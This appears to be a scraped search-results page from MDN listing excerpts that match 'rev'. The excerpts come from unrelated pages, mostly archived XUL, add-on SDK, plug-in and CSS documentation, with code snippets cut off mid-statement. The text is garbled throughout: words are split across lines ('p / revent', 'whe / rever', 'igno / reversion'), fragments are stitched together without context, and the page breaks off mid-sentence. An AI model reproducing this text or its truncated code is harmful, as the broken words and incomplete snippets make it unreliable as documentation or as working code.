revent the outlet from being used by someone else.
... how can i p
revent them?
... p
reventing subdomain takeovers is a matter of order of operations in lifecycle management for virtual hosts and dns.
Axes - XPath
this axis can be abb
reviated with the at sign (@).
...it can be abb
reviated as two periods (..).
...it can be abb
reviated as a single period (.).
Index - XPath
this axis can be abb
reviated with the at sign (@).
...it can be abb
reviated as two periods (..).
...it can be abb
reviated as a single period (.).
Understanding WebAssembly text format - WebAssembly
thus you could rewrite our p
revious signature like so: (func (param $p1 i32) (param $p2 f32) (local $loc f64) …) and then could write local.get $p1 instead of local.get 0, etc.
... for example, local.get is defined to push the value of the local it read onto the stack, and i32.add pops two i32 values (it implicitly grabs the p
revious two values pushed onto the stack), computes their sum (modulo 2^32) and pushes the resulting i32 value.
...the index provided is 0 — again, it implicitly pops the p
revious value off the stack.
Communicating With Other Scripts - Archive of obsolete content
sages from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventlistener('message', function(event) { window.alert(event.data); // message from content script }, false); </script> </body> </html> messaging from page script to content script sending messages from the page script to the content script is just the same, but in
reverse.
...ng" : "hello world"}; var cloned = cloneinto(greeting, document.defaultview); var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, cloned); document.documentelement.dispatchevent(event); } messaging from page script to content script sending messages using custom dom events from the page script to the content script is just the same, but in
reverse.
Communicating using "port" - Archive of obsolete content
var pagemodscript = "window.addeventlistener('click', function(event) {" + " self.port.emit('click', event.target.tostring());" + " event.stoppropagation();" + " event.p
reventdefault();" + "}, false);" + "self.port.on('warning', function(message) {" + "window.alert(message);" + "});" var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.port.on('click', function(html) { worker.port.emit('warning'...
... due to bug 816272 the page-mod's removelistener() function does not p
revent the listener from receiving messages that are already queued.
Private Properties - Archive of obsolete content
however, the use of an underscore prefix is just a coding convention and is not enforced by the language: there is nothing to p
revent a user from directly accessing a property that is supposed to be private.
... from weakmap to namespace in the p
revious section, a separate weakmap was used to associate each private property with an object.
XUL Migration Guide - Archive of obsolete content
low-level modules like xhr, tab-browser and window-utils are much more powerful than the modules in addon-kit, so your add-on needs correspondingly more rigorous security design and
review.
...ory, we can rewrite main.js to use it as follows: require("sdk/ui/button/action").actionbutton({ id: "xpcom-example", label: "hello from xpcom", icon: "./icon-16.png", onclick: function() { require("./alert").alert("my add-on", "hello from xpcom"); } }); one of the benefits of this is that we can control which parts of the add-on are granted chrome privileges, making it easier to
review and secure the code.
context-menu - Archive of obsolete content
likewise, any items that were p
reviously in the menu but are not bound to the current context are automatically removed from the menu.
...this makes your code easier to maintain, secure, debug and
review.
timers - Archive of obsolete content
example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0 ms }, 0) cleartimeout(id) given an id returned from settimeout(), p
revents the callback with the id from being called (if it hasn't yet been called).
... example var { setinterval } = require("sdk/timers"); setinterval(function() { // do something every 1 sec }, 1000) clearinterval(id) given an id returned from setinterval(), p
revents the callback with the id from being called again.
places/bookmarks - Archive of obsolete content
save(bookmarks).on("data", function (saved, input) { // a data event is called once for each item saved, as well // as implicit items, like `group` console.log(input === group || ~bookmarks.indexof(input)); // true }).on("end", function (saves, inputs) { // like the p
revious example, the "end" event returns an // array of all of our updated saves.
... updating items: for an item referenced from a p
revious save() or from the result of a search() query, changing the properties and calling save() will update the item on the server.
cfx - Archive of obsolete content
use this flag to
reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox.
... use this flag to
reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox.
Creating Event Targets - Archive of obsolete content
it duplicates the p
revious code, but with a few changes: import emit(), on(), once(), and off() from event/core replace listener functions with calls to emit(), passing the appropriate event type export its own event api.
...in its initialize() function, we: call the base class initializer use merge() to copy any supplied options into the newly created object call createobserver(), passing in the newly created object as the event target createobserver() is the same as in the p
revious example, except that in emit() we pass the newly created bookmarkmanager as the event target to use this event target we can create it and call the on(), once(), and removelistener() functions that it has inherited: var bookmarks = require("./bookmarks"); var bookmarkmanager = bookmarks.bookmarkmanager({}); function logadded(uri) { console.log("added: " + uri); } function logvisited(ur...
File I/O - Archive of obsolete content
use nsifile directly whe
rever possible.
... // you can read it into a string with var data = netutil.readinputstreamtostring(inputstream, inputstream.available()); }); read with content type hint it's useful to provide a content type hint to p
revent the file system from doing a potentially expensive content type look up (which would be synchronous i/o).
Miscellaneous - Archive of obsolete content
addeventlistener("blur", function(e) {onblurinput(e);}, false); } } function onfocusinput(focusevent) { focusedcontrol = focusevent.originaltarget; } function onblurinput(blu
revent) { focusedcontrol = null; } or var element = document.commanddispatcher.focusedelement; inserting text at the cursor function inserttext(element, snippet) { var selectionend = element.selectionstart + snippet.length; var currentvalue = element.value; var beforetext = currentvalue.substring(0, element.selectionstart); var aftertext = currentvalue.substring(element.selectionend,...
...bserver topic: observerservice.addobserver(observer, 'http-on-modify-request', false); where "observer" is an object that has a method "observe": function observe(subject, topic, data) { subject.queryinterface(components.interfaces.nsiuploadchannel); postdata = subject.uploadstream; } here again, postdata is not a string, but an nsiinputstream, so you can use the last code snippet of the p
revious section to get the data as a string.
Preferences - Archive of obsolete content
var value = prefs.getboolpref("typeaheadfind"); // get a pref (accessibility.typeaheadfind) prefs.setboolpref("typeaheadfind", !value); // set a pref (accessibility.typeaheadfind) complex types as noted in the p
revious section, each entry in the preferences database (prefs.js) must have a string, an integer, or a boolean value.
...e observing (after appropriate qi) // adata is the name of the pref that's been changed (relative to asubject) switch (adata) { case "pref1": // extensions.myextension.pref1 was changed break; case "pref2": // extensions.myextension.pref2 was changed break; } } } myprefobserver.register(); and next, here is a more evolved version of the p
revious code better fit for code reuse both within a project and across projects (for example, using javascript code modules): /** * @constructor * * @param {string} branch_name * @param {function} callback must have the following arguments: * branch, pref_leaf_name */ function preflistener(branch_name, callback) { // keeping a reference to the observed preference branch or it will get /...
Rosetta - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the p
revious code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
...the p
revious example shows a possible solution for all these cases, from the simplest to the hardest one.
StringView - Archive of obsolete content
|*| |*| :: number.isinteger() polyfill :: |*| |*| /docs/web/javascript/reference/global_objects/number/isinteger |*| \*/ if (!number.isinteger) { number.isinteger = function isinteger (nval) { return typeof nval === "number" && isfinite(nval) && nval > -9007199254740992 && nval < 9007199254740992 && math.floor(nval) === nval; }; } /*\ |*| |*| stringview mdndeveloper network |*| |*|
revision #12, march 21st, 2017 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/stringview |*| https://developer.mozilla.org/docs/user:fusionchess |*| https://github.com/madmurphy/stringview.js |*| |*| this framework is released under the gnu lesser general public license, version 3 or later.
... clikeregexp(" ", "g"); alert(omystringview.replace(omyregexp, " ")); // "hello, strange people!\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" /* stringview.replace() will be different from string.replace() because it act also on the source: */ alert(omystringview); // "hello, strange people!\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" as you can see, the p
revious example needs you to create two new algorithms: the clikeregexp() constructor – a constructor of c-like regular expression objects – and stringview.prototype.replace() – the new method, able to act on stringview instances.
Jetpack Processes - Archive of obsolete content
unregisterreceiver(amessagename, areceiver) similar to nsijetpack.unregisterreceiver(), this function unregisters a callback p
reviously registered with registerreceiver().
...to p
revent such memory leaks, a process can either invalidate a handle, immediately p
reventing it from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected.
Adding sidebars - Archive of obsolete content
« p
reviousnext » the sidebar in firefox is a relatively large and flexible space to add rich interfaces without requiring new windows or complicated overlays.
... « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast.
Appendix D: Loading Scripts - Archive of obsolete content
the examples below which make use of the services global assume that you're p
reviously imported the services.jsm module.
...this behavior can be
reversed by setting the wantsxrays parameter to false when constructing the sandbox.
Search Extension Tutorial (Draft) - Archive of obsolete content
pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or restartless extensions, the preferences need to be changed manually, and
reverted when the extension is disabled if they have not been changed in the meantime.
...lue]] in iterator(savedprefs)) { if (defaultprefs.getcharpref(name) == value) defaultprefs.setcharpref(name, origvalue); } } function install() {} function uninstall() {} changing the default search engine this change comes in two parts: 1) installing a new search engine (and removing it when your extension is disabled), and 2) setting it as a default (and restoring the p
revious default when your extension is uninstalled).
Index of archived content - Archive of obsolete content
tamarin acceptance test template actionscript performance tests cmdline tests running tamarin acceptance tests running tamarin performance tests tamarin build system documentation tamarin releases tamarin-central
rev 703:2cee46be9ce0 tamarin roadmap tamarin build documentation tamarin mercurial commit hook the download manager schema the life of an html http request the new nsstring class implementation (1999) tracevis transforming xml with xslt:mozilla xslt transfo...
... displaying a graphic with audio samples fixing incorrectly sized list item markers fixing table inheritance in quirks mode issues arising from arbitrary-element hover mozilla's doctype sniffing parsing microformats in javascript popup window controls rdf in fifty words or less rdf in mozilla faq styling abb
reviations and acronyms the business benefits of web standards using the right markup to invoke plugins windows media in netscape xquery xul booster xul parser in python input archive ...
Tinderbox - Archive of obsolete content
the tool enables mozilla.org to be immediately notified of changes to the code that p
revent mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or
reverse the changes.
... « p
reviousnext » ...
Getting Started - Archive of obsolete content
(yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files icon.png and p
review.png these are some png images containing the icon and the p
review of the theme.
...wing directory structure, using your favorite archive manager to create a zip archive: /chrome/my_theme.jar!/communicator/* /chrome/my_theme.jar!/editor/* /chrome/my_theme.jar!/global/* /chrome/my_theme.jar!/help/* /chrome/my_theme.jar!/messenger/* /chrome/my_theme.jar!/messenger-newsblog/* /chrome/my_theme.jar!/mozapps/* /chrome/my_theme.jar!/navigator/* /chrome.manifest /install.rdf /icon.png /p
review.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Creating a Microsummary - Archive of obsolete content
in each step of
revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily.
... by default, generators don't apply to any page, so you have to explicitly list the pages they apply to, and you don't have to exclude any pages unless you've p
reviously included them.
In-Depth - Archive of obsolete content
values: normal,
reverse -moz-image-region this is useful for dividing up an image into multiple smaller images.
...now you can point the image to whe
rever you like.
Installing Dehydra - Archive of obsolete content
building spidermonkey it is recommended that you use spidermonkey
revision aurora_base_20110705 when building dehydra.
...mkdir gcc-objdir mkdir gcc-dist cd gcc-objdir ../gcc-4.5.3/configure --disable-bootstrap --enable-languages=c,c++ --prefix=$pwd/../gcc-dist make make install building dehydra and treehydra building dehydra requires spidermonkey development headers from the p
revious step.
Drag and Drop Example - Archive of obsolete content
« p
revious gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api.
... ondragover: function (event, flavour, session) {}, ondrop: function (event, dropdata, session) { if (dropdata.data != "") { var elem = document.createelement(dropdata.data); event.target.appendchild(elem); elem.setattribute("left", "" + event.pagex); elem.setattribute("top", "" + event.pagey); elem.setattribute("label", dropdata.data); } } }; « p
revious original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragex.php copyright information: copyright (c) neil deakin ...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
« p
reviousnext » gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api.
... « p
reviousnext » original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragwrap.php copyright information: copyright (c) neil deakin ...
Layout FAQ - Archive of obsolete content
block(body)(1)@035ff490 {120,120,8820,600} [state=00000010] sc=035ff264(i=2,b=0)< line 035ffc18: count=1 state=inline,clean,p
revmarginclean,not impacted,not wrapped,before:nobr,after:linebr[0x5100] {0,0,330,300} < inline(span)(0)@035ffa04 next=035ffc48 next-continuation=035ffc48 {0,7,330,285} [content=0359ed50] [sc=035ff990]< text(0)@035ffa8c[0,4,t] next=035ffb1c {0,0,330,285} [state=41600020] sc=035ffa3c pst=:-moz-non-element< "\nabc" > frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [c...
...try using event.p
reventdefault() what is the purpose of the ns_lossyconvertucs2toascii() function?
Repackaging Firefox - Archive of obsolete content
we call this extension a "distro extension" (sometimes abb
reviated as "dex"), because it is used to create a new "distribution" of firefox, with different branding, etc.
...check this if the homepage needs to be different from the default to p
revent the migration wizard from overwriting it.
Tabs - Archive of obsolete content
blah(lengthstringfocusedstringtostringstringpopstringpushstring
reversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded.
... urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstring
reversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded.
Bundles - Archive of obsolete content
this can slow the overall launch time and the unpacking is redundant if the bundle has been launched p
reviously.
... this is why the preferred method of launching is to use the "-webapp [webapp-id]" command line, which looks for the p
reviously installed (unpacked) web application in the prism webapps/{webapp-id} folder.
Proxy UI - Archive of obsolete content
the p
reviously selected radio button becomes unselected, and the related ui of the p
revious button is disabled (and is not editable).
...if configured, socks is used as a default: if the protocol was proxyable and did not match any of the p
revious protocols), then use socks.
compareTo - Archive of obsolete content
rev revision number.
... installversion.minor_diff installversion.rel_diff installversion.bld_diff installversion.equal installversion.major_diff_minus installversion.minor_diff_minus installversion.rel_diff_minus installversion.bld_diff_minus example this code uses the compareto method to determine whether or not version 3.2.1 of the royal airways software has been p
reviously installed: existingvi = installtrigger.getversion("/royalairways/royalsw"); if ( existingvi.compareto("3.2.1") <= 0 ) { // ...
toString - Archive of obsolete content
returns the major, minor,
revision, and build numbers represented as a single string.
...to get the version number out of an installversion object in order to compare it with other versions, you can call tostring() and get back the version as a string in the format "maj.min.
rev.bld." example var vi = new installversion(); vi.init("999.888.777.666"); //random string vistring = vi.tostring(); ...
Learn XPI Installer Scripting by Example - Archive of obsolete content
first, a quick scan of the contents of the xpi file (which you can open using with any unzip utility)
reveals the following high-level directory structure: install.js bin\ chrome\ components defaults\ icons\ plugins\ res\ note that this high-level structure parallels the directory structure of the installed browser very closely: as you will see in the installation script, the contents of the archive are installed onto the file system in much the same way that they are stored in the ...
...in the example in the executing the installation section and in many places in the installation script, the logcomment api is used to write data to a log file that can then be
reviewed when things don't go as planned.
dir - Archive of obsolete content
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales).
...this is
reverse of the order in which they appear in the xul code.
close - Archive of obsolete content
if an event handler is placed on the window element, it can be p
revented to close (see example below).
... example window.addeventlistener("close", function( event ) { // make the close button ineffective event.p
reventdefault(); }, false); ...
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands.
... you should specify true as the input parameter to perform a "find p
revious" operation, or false to perform a "find next." example typically, you'll simply bind this method to your "find next" and "find p
revious" commands, like this: <command name="cmd_find_p
revious" oncommand="gfindbar.onfindagaincommand(true);"/> <command name="cmd_find_next" oncommand="gfindbar.onfindagaincommand(false);"/> ...
openPopup - Archive of obsolete content
« xul reference home openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location.
... trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup).
Methods - Archive of obsolete content
focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffirstvisiblerow getindexofitem getitematindex getnextitem getnotificationbox getnotificationwithvalue getnumberofvisiblerows getpagebyid getp
reviousitem getresultat getresultcount getresultvalueat getrowcount getsearchat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgro...
...up loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontext
reverted openpopup openpopupatscreen opensubdialog openwindow preferenceforelement reload reloadalltabs reloadtab reloadwithflags removeallitems removeallnotifications removealltabsbut removecurrentnotification removecurrenttab removeitemat removeitemfromselection removenotification removeprogresslistener removesession removetab removetabsprogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto starte...
ContextMenus - Archive of obsolete content
to cancel a context menu event, you can use the p
reventdefault method of the event object.
... function checkcontextmenu(event) { if (event.target.localname == "textbox") event.p
reventdefault(); } function init() { var container = document.getelementbyid("container"); container.addeventlistener("contextmenu", checkcontextmenu, true); } the 'checkcontextmenu' function checks to see if the textbox was the target of the context menu and, if so, cancels the event using the p
reventdefault method.
MenuItems - Archive of obsolete content
one possibility is to simply
reverse the checkbox state again.
...note that the code has been
reversed in the condition blocks to hide the toolbar when the menuitem is checked and show the toolbar when the menuitem is not checked because the checked state hasn't been modified.
Menus - Archive of obsolete content
the example below has the same effect as the p
revious example, however it uses a command element instead of listening to the command event directly.
... it should be noted that setting the active item in this way will not affect the selected property or selected attribute of the p
reviously and newly activated item.
Sorting and filtering a custom tree view - Archive of obsolete content
this is useful if this is an editable table //to p
revent the user from losing the row they edited var topvisiblerow = null; if (table) { topvisiblerow = gettopvisiblerow(); } if (data == null) { //put object loading code here.
...1 : -1; //if the column is passed and it's already sorted by that column,
reverse sort if (column) { columnname = column.id; if (tree.getattribute("sortresource") == columnname) { order *= -1; } } else { columnname = tree.getattribute("sortresource"); } function columnsort(a, b) { if (prepareforcomparison(a[columnname]) > prepareforcomparison(b[columnname])) return 1 * order; if (prepareforcomparison(a[columnname]) < prepareforcomparison(b[columnname]))...
Building Hierarchical Trees - Archive of obsolete content
« p
reviousnext » a template may be used to generate hierarchical trees.
...ml" rows="10" flags="dont-build-content"> <treecols> <treecol id="name" primary="true" label="name" flex="1"/> </treecols> <template> <query expr="*"/> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?name"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> « p
reviousnext » ...
Using Visual Studio as your XUL IDE - Archive of obsolete content
that has to do with the way mozilla implemented localization: < !doctype window system "chrome://loomo/locale/main.dtd"> visual studio doesn't recognize the chrome uri prefix, what will give you an error at the p
revious line ("the uri prefix is not recognized").
... as vs doesn't know how the chrome protocol works it can't detect where the dtd file is really located and thus will give you errors whe
rever you use the entities that are declared in this file.
dropmarker - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a dropmarker is a button with an arrow which will
reveal more details when pressed.
...for instance the menulist and the popup type of datepicker use a dropmarker, that when pressed, will
reveal a popup menu.
preference - Archive of obsolete content
inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the
reverse of the user interface element attached to it.
... locked type: boolean if true, the preference has been locked and disabled in the system configuration, p
reventing the value from being changed.
scale - Archive of obsolete content
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales).
...this is
reverse of the order in which they appear in the xul code.
tabbrowser - Archive of obsolete content
gobackgroup() not in firefox return type: no return value returns to the p
revious group of tabs.
...if the event argument is supplied, the default event handling will be p
revented and propagation stopped.
tree - Archive of obsolete content
it is similar to the p
revious type but is used when the tree does not have dont-build-content in its flags attribute.
...otherwise the cell label is
reverted to the value it had prior to editing.
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
xulrunner 1.8.0.1 is the first stable developer p
review release of xulrunner.
...this is a developer p
review release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases.
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
xulrunner 1.8.0.4 is a stable developer p
review of the mozilla xulrunner application framework.
...this is a developer p
review release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases.
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
ription: xul runner runtime; types: full custom [tasks] name: desktopicon; description: {cm:createdesktopicon}; groupdescription: {cm:additionalicons}; flags: unchecked name: quicklaunchicon; description: {cm:createquicklaunchicon}; groupdescription: {cm:additionalicons}; flags: unchecked [files] source: c:\develop\xulrunnerinstaller\myapp\myapp.exe; destdir: {app}; components: main; flags: igno
reversion source: c:\develop\xulrunnerinstaller\myapp\application.ini; destdir: {app}; components: main; flags: igno
reversion source: c:\develop\xulrunnerinstaller\myapp\chrome\*; excludes: .svn; destdir: {app}\chrome; components: main; flags: igno
reversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\defaults\*; excludes: .svn; destdir: {app}\defaults; components: main...
...; flags: igno
reversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\xulrunner\*; destdir: {app}\xulrunner; components: runtime; flags: igno
reversion recursesubdirs createallsubdirs ; note: don't use "flags: igno
reversion" on any shared system files [icons] name: {group}\my app; filename: {app}\myapp.exe name: {group}\{cm:uninstallprogram,xul explorer}; filename: {uninstallexe} name: {userdesktop}\my app; filename: {app}\myapp.exe; tasks: desktopicon name: {userappdata}\microsoft\internet explorer\quick launch\my app; filename: {app}\myapp.exe; tasks: quicklaunchicon [run] filename: {app}\myapp.exe; description: {cm:launchprogram,my app}; onlybelowversion: 0,6; flags: nowait postinstall skipifsilent step 4: building an installer once your script is ready, s...
Dialogs in XULRunner - Archive of obsolete content
« p
revious the last article in this series covered some simple xul for creating windows, menus, and toolbars.
... see also dialog xul tutorial:creating dialogs nsifilepicker xul tutorial:open and save dialogs « p
revious original document information author: mark finkle last updated date: october 2, 2006 ...
Getting started with XULRunner - Archive of obsolete content
on windows, i created the root in a new c:\program files\myapp folder, but you can create it whe
rever you like, using whatever os you like.
... note: in xulrunner 2.0, the chrome.manifest is now used to register xpcom components in addition to its p
revious uses.
Windows and menus in XULRunner - Archive of obsolete content
« p
reviousnext » our quest to build a basic desktop application using xulrunner continues.
... see also xul:windows xul tutorial:creating a window commandset command xul tutorial:commands xul tutorial:simple menu bars xul tutorial:toolbars « p
reviousnext » original document information author: mark finkle last updated date: october 2, 2006 ...
2006-12-01 - Archive of obsolete content
basic feature that i think is a must in any web broswer a discussion
revolving around the idea of having firefox automatically convert mistaken non-english characters to english so that web addresses will be completed.
... mozstorage documentation up a
revisted discussion surround the mozstorage documentation.
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized content p
revents from restoring values for the persistent attributes.
... neil notes that the format of localstore has changed from p
revious versions and that "persist" is not functioning properly using the new format.
NPEvent - Archive of obsolete content
values: 0 nullevent 1 mousedown 2 mouseup 3 keydown 4 keyup 5 autokey 6 updateevt 7 diskevt 8 activateevt 15 osevt 23 khighlevelevent getfocusevent 0, 1 (true, false) losefocusevent adjustcurso
revent 0, 1 (true, false) for information about these events, see the mac os developer documentation.
... adjustcurso
revent: sent when the mouse enters or leaves the bounds of the instance.
NPP_New - Archive of obsolete content
saved pointer to data saved by npp_destroy for a p
revious instance of this plug-in at the same url.
... if instance data was saved from a p
revious instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use.
NPP_URLNotify - Archive of obsolete content
notifydata plug-in-private value for associating a p
revious npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call.
... the parameter notifydata is the plug-in-private value passed as an argument by a p
revious npn_geturlnotify() or npn_posturlnotify() call, and can be used as an identifier for the request.
Encryption and Decryption - Archive of obsolete content
with most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt p
reviously encrypted information.
... as it happens, the
reverse of the scheme shown in figure 2 also works: data encrypted with your private key can be decrypted only with your public key.
TCP/IP Security - Archive of obsolete content
the payload consists of the information passed down from the p
revious layer, while the header contains layer-specific information such as addresses.
... as p
reviously explained, data is passed from the highest to the lowest layer, with each layer adding more information.
Building a Theme - Archive of obsolete content
an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /p
review.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g.
...the file p
review.png is shown as a p
review of the theme in the themes panel of the add-ons window.
Theme changes in Firefox 4 - Archive of obsolete content
then copy all of icon.png, install.rdf and p
review.png from <firefox-app-bundle>/contents/macos/extensions/{...} into my_theme.
...e/browser/ skin communicator classic/1.0 chrome/communicator/ skin global classic/1.0 chrome/global/ skin mozapps classic/1.0 chrome/mozapps/ this results in the following structure : /my_theme/chrome/browser/* /my_theme/chrome/communicator/* /my_theme/chrome/global/* /my_theme/chrome/mozapps/* /my_theme/chrome.manifest /my_theme/icon.png /my_theme/install.rdf /my_theme/p
review.png note: for more information (and how to package into a jar) consult creating a skin for firefox which still mostly applies.
References - Archive of obsolete content
<- p
revious section: summary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
... <- p
revious section: summary of changes ...
Using the W3C DOM - Archive of obsolete content
« p
reviousnext » the document object has properties for accessing collections of elements, such as document.images and document.forms.
...he dom whitespace in the dom by david baron element.innerhtml speed and performance comparison between innerhtml attribute and dom's nodevalue when modifying the text data of a text node by gérard talbot interactive dom level 2 characterdata interface attributes and methods tests: other ways to modify (replace, delete, manipulate) efficiently text nodes in the dom by gérard talbot <- p
revious section: using web standards: how next section: developing cross-browser pages -> ...
-moz-stack-sizing - Archive of obsolete content
/* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to p
revent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element.
... note: in p
revious versions of gecko it was possible to work around the problem by setting very large negative bottom and right margins on the stack element and equally large positive bottom and right margins on the children whose size you didn't want to ignore.
CSS - Archive of obsolete content
a slider control is one possible representation of <input type="range">.::-ms-
revealthe ::-ms-
reveal css pseudo-element is a microsoft extension that is used to display a password
reveal button for use with a password field created by <input type="password">.
... the user presses the button to
reveal the actual field value rather than asterisks.::-ms-thumbthe ::-ms-thumb css pseudo-element is a microsoft extension that represents the thumb that the user moves within the track of a slider control to alter its numerical value.
Generator comprehensions - Archive of obsolete content
var numbers = [1, 2, 3]; // generator function (function*() { for (let i of numbers) { if (i < 3) { yield i * 1; } } })(); // generator comprehension (for (i of numbers) if (i < 3) i); // result: both return a generator which yields [1, 2] specifications generator comprehensions were initially in the ecmascript 2015 draft, but got removed in
revision 27 (august 2014).
... please see older
revisions of es2015 for specification semantics.
Debug - Archive of obsolete content
functions debug.mstraceasynccallbackcompleted indicates that the callback stack associated with a p
reviously specified asynchronous operation has completed.
... debug.mstraceasynccallbackstarting associates the callback stack with a p
reviously specified asynchronous operation.
Object.observe() - Archive of obsolete content
if omitted, the array ["add", "update", "delete", "reconfigure", "setprototype", "p
reventextensions"] will be used.
...e: 2}] object.defineproperty(obj, 'foo', {writable: false}); // [{name: 'foo', object: <obj>, type: 'reconfigure'}] object.setprototypeof(obj, {}); // [{name: '__proto__', object: <obj>, type: 'setprototype', oldvalue: <prototype>}] object.seal(obj); // [ // {name: 'foo', object: <obj>, type: 'reconfigure'}, // {name: 'bar', object: <obj>, type: 'reconfigure'}, // {object: <obj>, type: 'p
reventextensions'} // ] data binding // a user model var user = { id: 0, name: 'brendan eich', title: 'mr.' }; // create a greeting for the user function updategreeting() { user.greeting = 'hello, ' + user.title + ' ' + user.name + '!'; } updategreeting(); object.observe(user, function(changes) { changes.foreach(function(change) { // any time name or title change, update the greeti...
Old Proxy API - Archive of obsolete content
object.freeze(proxy) object.seal(proxy) object.p
reventextensions(proxy) fix: function() -> propertydescriptor map (indexed on property names) | undefined should return an object that maps property names to property descriptors.
...moreover, the respective method (freeze(), seal(), or p
reventextension()) is immediately called on the fixed object.
background-size - Archive of obsolete content
these tables should be
revised over time to list gecko, webkit, internet explorer, and opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each.
... and anyway, it's more the -moz-border-image that seems to be the problem - that gets inherited even if i add in -moz-border-image: none, to <body> or <html>, and setting the height to 100% is more a matter of covering it up rather than stopping it happening (see further examples a, b and c - b and c look ok, but adding margin or padding
reveals that the image applies to both <body> and <html> even though explicitly set to none) user:robertc 2009-08-14 see also bug 509681 and bug 497995.
forEach - Archive of obsolete content
jswisher 01 october 2011 <hr> there is some mistype in array.prototype.foreach: kvalue = o[ pk ]; should be kvalue = o[ k ]; <hr> this page has been the target of a
revert war, and so write access to it has been restricted.
... if you wish to make changes, and especially if you wish to
revert another user's changes, please either add a comment here, or post to dev-mdc@lists.mozila.org, explaining the change you desire.
Index - Game development
you might however also focus on selling licenses, doing branding, or earning on a
revenue share basis from the advertisements.
... 67 move the ball 2d, beginner, canvas, games, javascript, loop, tutorial, movement you already know how to draw a ball from working through the p
revious article, so now let's make it move.
Introduction to game development for the Web - Game development
you don't have to hand over 30% of your
